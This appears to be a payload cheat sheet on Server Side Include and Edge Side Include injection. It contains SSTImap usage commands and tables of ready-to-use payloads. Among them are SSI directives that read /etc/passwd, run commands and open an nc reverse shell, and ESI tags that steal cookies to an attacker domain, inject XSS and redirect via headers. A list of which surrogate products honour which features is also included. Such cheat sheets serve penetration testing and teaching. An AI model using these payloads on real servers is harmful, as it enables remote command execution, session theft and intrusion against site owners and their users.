Server Side Include Injection

> Server Side Includes (SSI) are directives that are placed in HTML pages and evaluated on the server while the pages are being served. They let you add dynamically generated content to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.

* [vladko312/SSTImap](https://github.com/vladko312/SSTImap) - Automatic SSTI detection tool with interactive interface based on [epinna/tplmap](https://github.com/epinna/tplmap), supports SSI detection and exploitation with `--legacy` or `-e SSI`

  python3 ./sstimap.py -u 'https://example.com/page?name=John' --legacy -s
  python3 ./sstimap.py -i -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e SSI
  python3 ./sstimap.py -i --legacy -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk'

SSI Injection occurs when an attacker can input Server Side Include directives into a web application. SSIs are directives that can include files, execute commands, or print environment variables/attributes. If user input is not properly sanitized within an SSI context, this input can be used to manipulate server-side behavior and access sensitive information or execute commands. SSI format: `<!--#directive param="value" -->` | Description | Payload | | ----------------------- | ------------------------------------------------------------------------------------- | | Print the date | `<!--#echo var="DATE_LOCAL" -->` | | Print the document name | `<!--#echo var="DOCUMENT_NAME" -->` | | Print all the variables | `<!--#printenv -->` | | Setting variables | `<!--#set var="name" value="Rich" -->` | | Include a file | `<!--#include file="/etc/passwd" -->` | | Include a file | `<!--#include virtual="/index.html" -->` | | Execute commands | `<!--#exec cmd="ls" -->` | | Reverse shell | `<!--#exec cmd="mkfifo /tmp/f;nc IP PORT 0</tmp/f\|/bin/bash 1>/tmp/f;rm /tmp/f" -->` |

HTTP surrogates cannot differentiate between genuine ESI tags from the upstream server and malicious ones embedded in the HTTP response. This means that if an attacker manages to inject ESI tags into the HTTP response, the surrogate will process and evaluate them without question, assuming they are legitimate tags originating from the upstream server. Some surrogates will require ESI handling to be signaled in the Surrogate-Control HTTP header.

Surrogate-Control: content="ESI/1.0"

| Description | Payload | | ------------------ | --------------------------------------------------------------------------------------------- | | Blind detection | `<esi:include src=http://[ATTACKER.DOMAIN.TLD]>` | | XSS | `<esi:include src=http://[ATTACKER.DOMAIN.TLD]/XSSPAYLOAD.html>` | | Cookie stealer | `<esi:include src=http://[ATTACKER.DOMAIN.TLD]/?cookie_stealer.php?=$(HTTP_COOKIE)>` | | Include a file | `<esi:include src="supersecret.txt">` | | Display debug info | `<esi:debug/>` | | Add header | `<!--esi $add_header('Location','http://[ATTACKER.DOMAIN.TLD]') -->` | | Inline fragment | `<esi:inline name="/attack.html" fetchable="yes"><script>prompt('XSS')</script></esi:inline>` | | Software |  Includes | Vars |  Cookies | Upstream Headers Required | Host Whitelist | | ---------------------------- | --------- | ---- | -------- | ------------------------- | -------------- | | Squid3 | Yes | Yes | Yes | Yes | No | | Varnish Cache | Yes | No | No | Yes | Yes | | Fastly | Yes | No | No | No | Yes | | Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No | | NodeJS' esi | Yes | Yes | Yes | No | No | | NodeJS' nodesi | Yes | No | No | No | Optional |